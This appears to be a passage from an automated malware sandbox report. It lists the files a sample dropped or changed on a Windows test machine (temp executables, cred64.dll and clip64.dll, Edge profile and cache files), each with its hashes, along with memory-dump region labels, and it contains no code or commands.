SHA1 21dd5ac5a897f298721280a34761fef3947bd58b
SHA256 24f67f034f9a5178feeaa5db9bfdc6e2a71ff9b700cb962f59820414c39382c2
SHA512 0dc9ead6cb835c004fa4570314b8de072cd55e0ce49adf5b738242709bec5799f91da525987da0af32f950f352a772ed26902b149fbecfef2463cc5407b47bd3

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

MD5 6e68805f0661dbeb776db896761d469f
SHA1 95e550b2f54e9167ae02f67e963703c593833845
SHA256 095e2b0ed70525cf5a7a5c31241aad5c27964fd69d68569c646a158c0ff50b47
SHA512 5cf25502b2fc8ab34b777b490493c8974af15135e8ff81f43ff254b910f74ee5cece6848ca4a5adae54b8cbf895362f268fd1665705f39bee27f395ea5c04efc

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

MD5 89c82822be2e2bf37b5d80d575ef2ec8
SHA1 9fe2fad2faff04ad5e8d035b98676dedd5817eca
SHA256 6fea30b9d17eacffde43b727058b5b2c422a7b70407534549042ba7b20d5f8c9
SHA512 142ca76bc32cc60c11f640bd9e050df6000b6824a192595416f661d22d6e52704dfd369974d7f2f73d01eaa356237c50778737d72d5588c5a2ff8a8010ee8101

C:\Users\Admin\AppData\Local\Temp\kos4.exe

MD5 01707599b37b1216e43e84ae1f0d8c03
SHA1 521fe10ac55a1f89eba7b8e82e49407b02b0dcb2
SHA256 cc0dbc1d31ccd9488695b690bd7e7aa4a90ba4b2a5d23ef48b296465f5aa44dd
SHA512 9f9ff29a12d26a7d42656e0faf970c908f1ef428b14e5a5fe7acd06371b96b16eb984e8fbee4e2b906c6db7fb39c9d4a221e79fc3d5e9ca9b59e377875bc5642

memory/1392-1044-0x0000000000810000-0x0000000000818000-memory.dmp

memory/1880-1043-0x0000000007B40000-0x0000000007B50000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\latestX.exe

MD5 bae29e49e8190bfbbf0d77ffab8de59d
SHA1 4a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256 f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA512 9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

memory/1392-1058-0x0000000001020000-0x0000000001030000-memory.dmp

memory/1392-1056-0x00007FF91AA20000-0x00007FF91B4E1000-memory.dmp

memory/7304-1062-0x0000000073FA0000-0x0000000074750000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 0ad50c7a2d36965a6db352d9008c2edc
SHA1 ebf3d44395397df3215d47891c5c536be41b4c57
SHA256 b4564f62962fdeb0c4b3176c88bdfb811c638dadbb052933f7b1d2a1d48a8f7a
SHA512 c8c43a0480a7bb9e2628f706787d180e22479892dc95746a47bf234b88e9e3d5dbc722675f70a8244076dd79fd254a3a4911800ebb176f8d463b0e8a2a16e4f9

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe

MD5 fd713d8861975d39492d7a2271dea0c3
SHA1 2c4a5f63ec5cbd53e747d1609cdbff5f630d9d1a
SHA256 fc6d654f4c1a8c7d9a4de520d253b2b771bc11c339eda1242a8eb43ad86f0141
SHA512 3005b8c50ee60f5f276b4ece15ddc3401a1726a2952049758dbfca36a6c1339da23ffd445ec3553ac4c13385f99b74fec528d4f128e1cc3b22c592d610d60c3e

memory/6788-1200-0x0000000000160000-0x0000000000540000-memory.dmp

memory/6788-1205-0x0000000004DA0000-0x0000000004E3C000-memory.dmp

memory/2856-1203-0x0000000000400000-0x0000000000418000-memory.dmp

memory/1392-1202-0x00007FF91AA20000-0x00007FF91B4E1000-memory.dmp

memory/6788-1199-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/4020-1289-0x00000000020C0000-0x00000000020C1000-memory.dmp

memory/4012-1302-0x0000000000A90000-0x0000000000B90000-memory.dmp

memory/1972-1306-0x0000000000400000-0x0000000000409000-memory.dmp

memory/1972-1307-0x0000000000400000-0x0000000000409000-memory.dmp

memory/4012-1304-0x00000000008D0000-0x00000000008D9000-memory.dmp

memory/1972-1303-0x0000000000400000-0x0000000000409000-memory.dmp

memory/6408-1308-0x0000000002B80000-0x0000000002F7E000-memory.dmp

memory/6408-1343-0x0000000002F80000-0x000000000386B000-memory.dmp

memory/5256-1347-0x0000000000400000-0x0000000000612000-memory.dmp

C:\ProgramData\CoreArchive\CoreArchive.exe

MD5 99faca671ba80a1a5a07b0e05ae29f63
SHA1 1ca1875ac52e2a1f33f513ed7cfcf70467d14025
SHA256 5550b4a952bad35b63eb1e79cd744caa79e1048d8e4bd9fb3efaad33e90c3b8a
SHA512 bea52883067a49864d189246803fd554353bca364b6b378cb6eeb2fca73eb3bea830574f2731fe79c58e4f79d15b3e63a36caff18a29e1e7f46f733d9b900b2d

memory/4696-1350-0x0000000000660000-0x000000000069E000-memory.dmp

memory/6408-1353-0x0000000000400000-0x0000000000D1B000-memory.dmp

memory/5256-1352-0x0000000000400000-0x0000000000612000-memory.dmp

memory/7752-1358-0x0000000000400000-0x0000000000612000-memory.dmp

memory/7744-1362-0x0000000000560000-0x000000000057E000-memory.dmp

memory/2856-1363-0x0000000000400000-0x0000000000418000-memory.dmp

memory/4696-1361-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/7744-1364-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/6788-1357-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/7744-1365-0x0000000004E70000-0x0000000004E80000-memory.dmp

memory/4696-1367-0x0000000004950000-0x00000000049B1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 4dd53c9b1308fd4bff6cfb830922aa3b
SHA1 a538498dc81ea6b77fe2414f6edd0480a8009d7a
SHA256 4bcd4ca1b39410b5585be277c45e3c06e83044194d84aa9dc472eb04685ed215
SHA512 b034a3bf8b1a6a2eb2752f478e3d9af50f02136421884c82048f864a886c68fc335375537cf56ff25bf397db5163b1b20d25f85448115e13c7c2095669c7cac4

memory/4696-1378-0x0000000000400000-0x0000000000461000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58b6b8.TMP

MD5 e5c695d3da864685d0279c9c43488d88
SHA1 7d03b6e19d3f753135ada1e8af8aef1a12059302
SHA256 70eff8345c5ded5ba810d1bbdf6ca619590f9284b9f062d788d4dec308348f76
SHA512 85c1cacd46035339bb1df7a5c005b68f454e1ce2b4f1de705fd450cd74a25ece437636f92cb815953b874abbd780c436e5dbe78a120521d54d690fe17fdac78a

memory/4696-1348-0x0000000000400000-0x0000000000461000-memory.dmp

memory/5256-1346-0x0000000000400000-0x0000000000612000-memory.dmp

memory/8552-1397-0x0000000004DB0000-0x0000000004DE6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3450xq55.0xr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1972-1408-0x0000000000400000-0x0000000000409000-memory.dmp

memory/3372-1407-0x00000000034B0000-0x00000000034C6000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 4b4b954f938379d8ab4538e0d8b843ac
SHA1 bd9f2c42de0ffbb06f454493c3d96d44d9a14f38
SHA256 120c3a49a939371588c0f53c60ab3d731fc7f3315b45ff5512886a159ab9d943
SHA512 569dcf15280992d12cef5088a29a76e48ce60a4440a652840328a29bdb125dca0560ab588bca2cc02805acdab52b8c889c2ec43face07a040d1561d724cf1fc2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 862fba57b3ab863bc3f39e26a24aad94
SHA1 646bb286e92599600fcceed83f4c5aec6fc86dcd
SHA256 2c6a27d52c2c0ed9d620b3ae9524c5c53dc58417a126bc8d74fea4c51f723e43
SHA512 386beacde7caa3ae747500b2e18d2decfe64bd5fa7e8678e49bc8e6144d8eb39c57086876c5439a0576a8d05735b6f9d86ef7b6d35475ebc03cad918e3aee598

memory/9012-1464-0x0000000000400000-0x000000000041B000-memory.dmp

memory/9012-1469-0x0000000000400000-0x000000000041B000-memory.dmp

memory/9012-1474-0x0000000000400000-0x000000000041B000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58d627.TMP

MD5 308c6f8674e09894f333d64e809df196
SHA1 77b503dedfb99035d46ad967a68235dfc4d32c17
SHA256 7883f008bc3c3d54177fde01fbf7d883720851cca2a9675d7fb5701d94b537d1
SHA512 2a8f6b7dfade06d4f8f3956bed120ce721a1a3995c9bfd3f635b3e3be425353ac7d96ff990af56f68f571f9f0073c5c5a80620389a60f88dc3d9c4a6ae4af37a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

MD5 52ad1bfb345adacb854e6dee5357dd44
SHA1 872d1a6f19f04477f7eb50a903619aab4687f441
SHA256 6780243d5ba87ebf4073d80fd6c7dfe3681608be42834eeb8634289229176bd8
SHA512 0219c39fab771de4ac4e7f80f100df9c622f1e4afa06505b3fb9215142fc599871bb9b87212167c89db395b19282770c7c23da250b3cc147810d9609318225bd

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll

MD5 a5b509a3fb95cc3c8d89cd39fc2a30fb
SHA1 5aff4266a9c0f2af440f28aa865cebc5ddb9cd5c
SHA256 5f3c80056c7b1104c15d6fee49dac07e665c6ffd0795ad486803641ed619c529
SHA512 3cc58d989c461a04f29acbfe03ed05f970b3b3e97e6819962fc5c853f55bce7f7aba0544a712e3a45ee52ab31943c898f6b3684d755b590e3e961ae5ecd1edb9

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

MD5 e913b0d252d36f7c9b71268df4f634fb
SHA1 5ac70d8793712bcd8ede477071146bbb42d3f018
SHA256 4cf5b584cf79ac523f645807a65bc153fbeaa564c0e1acb4dac9004fc9d038da
SHA512 3ea08f0897c1b7b5859961351eef59840bbf319a6ad7ebe1c9e1b5e2ce25588d7b1a37fd6c5417653521fc73f1f42eb043d0ee6fcd645aa92b8f305d726273b4

C:\Users\Admin\AppData\Local\Temp\tmpDF46.tmp

MD5 02d2c46697e3714e49f46b680b9a6b83
SHA1 84f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256 522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA512 60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

C:\Users\Admin\AppData\Local\Temp\tmpDF5C.tmp

MD5 122f66ac40a9566deec1d78e88d18851
SHA1 51f5c72fb7ab42e8c6020db2f0c4b126412f493d
SHA256 c22d4d23fefc91648b906d01d7184e1fb257a6914eb949612c0fc8b524e84e04
SHA512 39564f0c8a900d55a0e2ef787b69a75b2234a7a9f1f576d23ad593895196fc1b25dec9ae028dd7300a3f4d086c3e3980ac2a4403d92e05aee543ffed74b744ff

C:\Users\Admin\AppData\Local\Temp\tmpDFC6.tmp

MD5 349e6eb110e34a08924d92f6b334801d
SHA1 bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256 c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA512 2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

C:\Users\Admin\AppData\Local\Temp\tmpDFDB.tmp

MD5 c8f9b84935fe54a042953e15cf51f769
SHA1 2e238256870255b262ca67b6af6b094ea6e29199
SHA256 f785c9451333ca290006c705832791184c9d3b22f1a1c715c0813a173ae23c77
SHA512 a94c76f77f5cf59e46f5994f1609ea039d04766d021ddcd2302b2d8bda476b3bc06d97b8b5cb42aa77d815319b4624a43566f55058c9b75c397b8bd4c7c7d031

C:\Users\Admin\AppData\Local\Temp\tmpE02B.tmp

MD5 aaa86e6a5854cbe35747b42da652cc60
SHA1 a1729293b920391e77feca88cf2974aea11b0c64
SHA256 7c25719f7d4215407ec3350fd101ea5dfc74413cc6a4ae7bfe73832aa949a7c3
SHA512 eef228747904394c13a5de65244fa68a34f7d96180deb47d587f49625d8c1a24672c556b1e3a34c17175f723545fe3e6ff43c9c7de32475ea180bb3a363cfb19

C:\Users\Admin\AppData\Local\Temp\tmpE066.tmp

MD5 d367ddfda80fdcf578726bc3b0bc3e3c
SHA1 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671
SHA256 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
SHA512 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000018

MD5 9ee8d611a9369b4a54ca085c0439120c
SHA1 74ac1126b6d7927ec555c5b4dc624f57d17df7bb
SHA256 e4cf7a17182adf614419d07a906cacf03b413bc51a98aacbcfc8b8da47f8581c
SHA512 926c00967129494292e3bf9f35dbcdef8efdbddc66114d7104fcc61aa6866298ad0182c0cbdf923b694f25bb9e18020e674fd1367df236a2c6506b859641c041

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\2f03a562-5647-4991-b80c-6c50cf506ef3\index-dir\the-real-index~RFe58ed2a.TMP

MD5 3954b7a3d209425de8df1d9eede94730
SHA1 0b4ff9c14efe892583a50bcf1b43cfaa19fcefd4
SHA256 c469a03ca1511351784d26be0a3c00207f9382d79b4d863e6e44ef529454039f
SHA512 b56a511016b0246553f960c18e9955eae8c2ad2d9d0528cafe341ec61c5c015db05a70f0faeb3e9213b01ea7a2203f8824393dfc66780075462d0af4913afce3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 f221b216f1753f9dfde63efd76bcdc6e
SHA1 dc8cad591c1079216bd97cfaf86b1939c0a088a0
SHA256 d0168f9a332e3d2294fb24dd9a14efe93f8e5bda660e5f41b7ebdbd57955f71a
SHA512 3de8b39cae7eb8ad6c724a6f7bbffad4b0b3d79bbb4848ce05c293b02c5c7f48271378ac2779a0c0ba9be2f08417cb080fc65db67006899c4874dbd1634e364b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\d46ddaa0-0306-4533-8878-5186adcbf169\index-dir\the-real-index

MD5 5074054d337ef0fa739d4943156eb205
SHA1 92230b58d4ce7e27a6974b226246c94b36b8e757
SHA256 de2da2d5d220e1bab78db921d02c9ba94fc1f0c0fd1f8f3a7ca6133ee5817894
SHA512 f250a2f560d381bad16f2a81fce514835df5ea00fcfab1f33b89ce51b040de2a46810d3c4937cad2184d6ef3c61c6542e52cb3cede59d996d2da8e88fa81250c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\d46ddaa0-0306-4533-8878-5186adcbf169\index-dir\the-real-index~RFe58f652.TMP

MD5 a3ce84f571cce8a1df987a87a81b4191
SHA1 9bb0d9d7458ade0b5d2cfc45576c98407dec88ec
SHA256 ce4776c0da9adf4634710857af532c8d8ba00c5f3195b49a3b94bb073e12e189
SHA512 1b5e091f8d832b4e85fd06498fd0ffdcae788d80edcadd4345e0af5dc7fc215b1122c5a8901e558cb8c34d68c9bc265c4e0da6228f02e50ec0b114fe5884675b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\2f03a562-5647-4991-b80c-6c50cf506ef3\index-dir\the-real-index

MD5 03924954c6e77f8c74bab0b50e948ed8
SHA1 5b3269eaefcd647c553f37b6bc6c9f5bcfc189ff
SHA256 1adeef082877ae4fc69185706a6696dd2e4b77bd51a216c4220906911d9e1353
SHA512 3bc09de6a47492ed0b3e86337fd719f40d8a5438a51ab7f1e482ff5739f07dcce13b62e542ecaf4a3a1cba4e6a29cc2b4b2ec89a43eb6a392e287ceca76faabb

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 424ba09d62510b84b6d5e58d95df0f31
SHA1 db92739b103108fb8a704689fa9733e25fc9ed33
SHA256 2ea91dfe48bc2c65ceef0747b4933d192d6a73ef0b62874de5f581a4861cda1e
SHA512 427b6fd35ba08113fd086b6d5f33ddcac1048699cebea6169386ca6b70313a2207194eefccc9c59edf21d5a494d0d86aa067781699cffc869f6ce0704cbff2c0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 cdbb6ae475681abf66f2c3de1d4bbb07
SHA1 a09226e52f3e0dfc735dcd4484d26bbb508526ed
SHA256 75fe166369761fd0609aea7c262a640c5758e282690bf9c2d5266e97fe64df55
SHA512 4e17a23d494693711aee3a6d1b461e88897325a1489b234c88cf866b97a7f451fec58153e7e451c96e3c8c5c26301bfeeff33f08a396bebccf24d7ba116334c2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\8f7abdeb3486c1b8780fede76afc20e044eff1b5\a4e17a75-2fad-43c1-ba67-1897006828d2\index

MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\8f7abdeb3486c1b8780fede76afc20e044eff1b5\index.txt

MD5 8a3e3342e94a3fd3f4584924326a0342
SHA1 fa8533d7fa574418a593372f31470517a285dd6a
SHA256 be9d340279f33f5dac157aa8edad51e12e32b7e003e987c8cd012fbe7bd51f0b
SHA512 793ba30f3b31a195f81135e2ff725a5d8473caa8399404537e47ec33bdd480e651f59343fe4a2a1cd56728004058a4de7a3456dc953fa93cb50973556ecf60e8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\8f7abdeb3486c1b8780fede76afc20e044eff1b5\index.txt~RFe59096c.TMP

MD5 897261c9b201ffd315a583b93a474d7b
SHA1 4815b06382e5a841f0ea8dd6426c3c4c44bcad74
SHA256 cdb56be61dab50877897d8d261e8c22f90ab2ae0220d76394cf41560511c814d
SHA512 abb6d73499c57da1a69e4864388addd9ea9403a5ac218b0e31f012d6934a88ad228ffd2b724f1d7f6d1bc04eb4874dedfaa31e7944b87850831301764474deb3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 fa40e4931d8edba56447c6b6013cdf02
SHA1 534e233a5bc6b61c2e1b4ac20c91aab6e9be6ac0
SHA256 0b45a6b998f7ed9876831c7ef3696184ba07095e41b7664813d8ae10781207ce
SHA512 4bbf5ec9281fcf6126d76a440e61c44a53b4da5a520cc6ee66628bf6b8527c68053aea0458c932a5572726c0b783b50ae9e41b6954e60c8980f30a8a0f192036

memory/2288-2063-0x00007FF7B37C0000-0x00007FF7B3D61000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 a3e06230f094e4fc9d2772de0c154f8f
SHA1 d2e6abe03680c16fd4cd70d4faea52986dc4c766
SHA256 a805a3abe2bec8f448c873f4912a6fb7e7fb3b497d1bd6b19759270730032eb1
SHA512 14557244a58b1595b2d34cfa489429c1cc36bfff045bffc7d1ef46fd9f15c1857573160c866a165a05ece151a2135b2dbdd13526a7aa90b1eb55e7b4281d9ba8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 d48611b146776105aba189e2bae536b1
SHA1 1c5406191cce76639d70efe1d24aebbdf3eec454
SHA256 d476dba3d882afdaa2cdda9f151195db82807d0c5a0236832450736ef6117b61
SHA512 6be7ab666ac2be3c3166d97fa3763048bcee3b66e0a42f329568a8cddcd1e4a5c42e184f727773b7b40a9db292234f7c9b383416a6fce8d1476e4573f3e21a9d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 cf1d6d633eaa7f0f49d248f0ce98592d
SHA1 05f1a8ff2d6df350ea4d28744d0f52e2d84ce0dd
SHA256 181908ed598a0da67e7737da2d2c0766b0e5f252271e96368c5da65ba7ca31a3
SHA512 2c2c2485956af91b516bf4bc46dfdb0657124bcd46ab97d16e2cc2a1f417b080c2ffa3367b2b99aecc98263857d9c0eff96f2be6fc7214659e41ce4687153119

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003

MD5 603b46a042ff004fa5b18b5e64a7c121
SHA1 d5edc542e336e7c4ecd7279b1d5e5666c7b00a31
SHA256 077ce9cdd14688ea70f9a22a75c6f97416213cc8b869a0b1d4de476403e6b8be
SHA512 a22e853dce127dfe6c0ca5401ca488ea4cd37011a19e32557cf5c2438b75b97ac62c7b1adc1acfb67c6a47e39979cd5c778413ddf6246a46835c7a2f7c69066f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000029

MD5 48b805d8fa321668db4ce8dfd96db5b9
SHA1 e0ded2606559c8100ef544c1f1c704e878a29b92
SHA256 9a75f8cc40bbe9c9499e7b2d3bab98a447685a361489357a111479517005c954
SHA512 95da761ca3f99f7808a0148cfa2416b8c03d90859bff65b396061ada5a4394fb50e2a4b82986caab07bc1fcd73980fe9b08e804b3ce897762a17d2e44935076d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

MD5 0f902d7e22a119da48ac06afd38fab9f
SHA1 29b03b509b7ac9c5bb6003bddbbcb2e67498732d
SHA256 3055953d75adcc28d84286849b423f8cea1525182d2dbe44d7283eb877f21159
SHA512 f4a414038898560963923b56a68efac06070abf3b1587118df117f057ed29f4373ec48f450124dd6702b476447692e59618206b4de4385079e0217827b9d77b5

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

MD5 85122ab68ee0ec8f5b454edd14c86c41
SHA1 d1b1132e3054ff3cef157fea75f4502c34fa5e26
SHA256 4f5169675d35f59c99a0a4e41a52a0b79a86117a9244ac79dbb1e7cc13e0e9b5
SHA512 dae95ac0a262b0fc88302050c51158e11fd113c05efa351bee3213e75150181915a870e00ec0797ec994462ccd841c77215a7b7b0d02651d4757f03ba17274ca

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000043

MD5 57613e143ff3dae10f282e84a066de28
SHA1 88756cc8c6db645b5f20aa17b14feefb4411c25f
SHA256 19b8db163bcc51732457efa40911b4a422f297ff3cd566467d87eab93cef0c14
SHA512 94f045e71b9276944609ca69fc4b8704e4447f9b0fc2b80789cc012235895c50ef9ecb781a3ed901a0c989bed26caa37d4d4a9baffcce2cb19606dbb16a17176

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000045

MD5 2d64caa5ecbf5e42cbb766ca4d85e90e
SHA1 147420abceb4a7fd7e486dddcfe68cda7ebb3a18
SHA256 045b433f94502cfa873a39e72d616c73ec1b4c567b7ee0f847f442651683791f
SHA512 c96556ec57dac504919e806c7df536c4f86892b8525739289b2f2dbbf475de883a4824069dbdd4bb1770dd484f321563a00892e6c79d48818a4b95406bf1af96

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000044

MD5 ce6bda6643b662a41b9fb570bdf72f83
SHA1 87bcf1d2820b476aaeaea91dc7f6dbedd73c1cb8
SHA256 0adf4d5edbc82d28879fdfaaf7274ba05162ff8cbbda816d69ed52f1dae547f6
SHA512 8023da9f9619d34d4e5f7c819a96356485f73fddcb8adb452f3ceefa8c969c16ca78a8c8d02d8e7a213eb9c5bbe5c50745ba7602e0ee2fe36d2742fb3e979c86

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000047

MD5 4f7c668ae0988bf759b831769bfd0335
SHA1 280a11e29d10bb78d6a5b4a1f512bf3c05836e34
SHA256 32d4c8dc451e11db315d047306feea0376fbdc3a77c0ab8f5a8ab154164734d1
SHA512 af959fe2a7d5f186bd79a6b1d02c69f058ecd52e60ebd0effa7f23b665a41500732ffa50a6e468a5253bb58644251586ae38ec53e21eab9140f1cf5fd291f6a5

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 99fadccc37e3ca4f025db684e72e4015
SHA1 fec8d08996a17faf3a80b4607c4776a215d4e21a
SHA256 5ca57d25543626633601a4bede5e11303a6c56ef9094920ab050e56c7f0cfc9b
SHA512 fc7b993b0ee3e7b422666d297e3cec2ee39b07a1aab8dbee88b07f055cb57f83e5450921f3b92b6d4be1354c61a48715a189fe5a2948e59a9ec2b5df8ec06f35

memory/4016-2526-0x0000000000400000-0x00000000008DF000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00004c

MD5 1490acc6c189316c545989694777347d
SHA1 40d46c9364bcad6fa1f9e5eeeca1120e3124e903
SHA256 fe349cee3e127dc9754839d36e462abdb47db388502b0fe5c0132252d3bea75f
SHA512 4e34822f615e7c4a105ed9e1de727cb28b1bd349a14f1dc53313b473c25a50bbffba66d757747d8d0b201ede64d89d73dc918be7cb87614592f5720629cd76ba

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00004e

MD5 3df01456ef7248b94ac7622830395b82
SHA1 f5c2d24e2e6981c214b731cdc4d10cccd3424c6d
SHA256 74218a640c8bff89436945d4cedf1d5bf213285458c36d626e8970c7149c0f93
SHA512 06ab8af0ad993243a3700282e1a6cb4d9a1ca221a6633359ecb85d32e8125b8344db0cdd757bb8d2b36bd54a53fd40a6e922ffba49fb40a60a50ce0aeb5bfb0c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00005e

MD5 3d2f4182c474d87c9d1fecf7af9f7082
SHA1 213a499d3f304b2015efb399a0faf08bc78c4306
SHA256 c243f4ab8abf11750a75121292f499ff77213c6c56c0aed0730f3cdf084036d9
SHA512 c22ece464abfc073c7f417b571fd534bcfbbb953b89c10e878bc74b2de671fed0e667a1abee380cf14c49680d2d9ce1d5ee920dc676d05e37965ad3e6348d1d9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000062

MD5 ab18a46f7c0b1a34b19d40d2198dbea0
SHA1 fe6fb562b7c2ce00e4fbefb140b0281631e03376
SHA256 27d2a2e22ff6476c72078311e9e1c58b1b72ec687f563b2d4f802f99e65afb12
SHA512 fdf94f4ad2923c1d4245279e1983e1e1ea3d6cc15793b9eedf79daf66ca44c5c4c78c04371b5a752906fe9c6975db36342f6e43ef457f28c67d3c81b8b9e8cab

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 9fd21d858229914138bdd0c4ed175b86
SHA1 0225a826eac94cd10b70e420e08f36474042408d
SHA256 0e33b2569df2224579914b6d2eafac950d14e992a5d01169cbac6ef26edfcf5a
SHA512 213c8a413fbfcf61ad0589fa03777a3833bd8386e9281f1344204c968d2184aef71cdfaf88f4f6fa4fad55737e14f4292124ff487373929e80c13ca87a20a643

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000067

MD5 67412b247e0ff9363d571537acb61e09
SHA1 e58351674fb43e8fec92c7258ebe25703fc708ad
SHA256 663d61f95733059cd6879a8d5f2fdc8b0a1705a3fd25d0ed013ae8f09e215666
SHA512 b193da22ca7fe981cd8e30107fc5d9b3007b3b91310bea0d41d379bc36421e83396364b5bb78676a3fff2f6909773438889cac231c31eef1d13e62f1b32e59b7

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt.tmp

MD5 31f201726d4dd9f6e22c9eaef64b010b
SHA1 7e3b09e5932cbc6c0f452c5a438e4f10c703ccdd
SHA256 67a300dd5da1eac14bb249af6442a4cc57495a215d773ec33eb4bdc0c26139c3
SHA512 11edb60d6a356503093cd5f4966f59fc473f105f435705c15e9c2d50d8774cce03896709642211241c13fe0dd62c82fcf1b407ef5c48e466ef2eeb56b89e88db

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00006c

MD5 ee32983357800a1c73ce1f62da083101
SHA1 467c2215d2bcc003516319be703bf52099303d3d
SHA256 173b1020764ed0b48e21882bb888025edc6560672f29fa3241712bf172e684cd
SHA512 45e9f3fb39f15066ecf6fb2711abc19586f3165c12f7d8adf9503bd51d31a50594e59cd4c02196491f11516b074e105e0409c4fe468e2f89f53582eff8932f3a

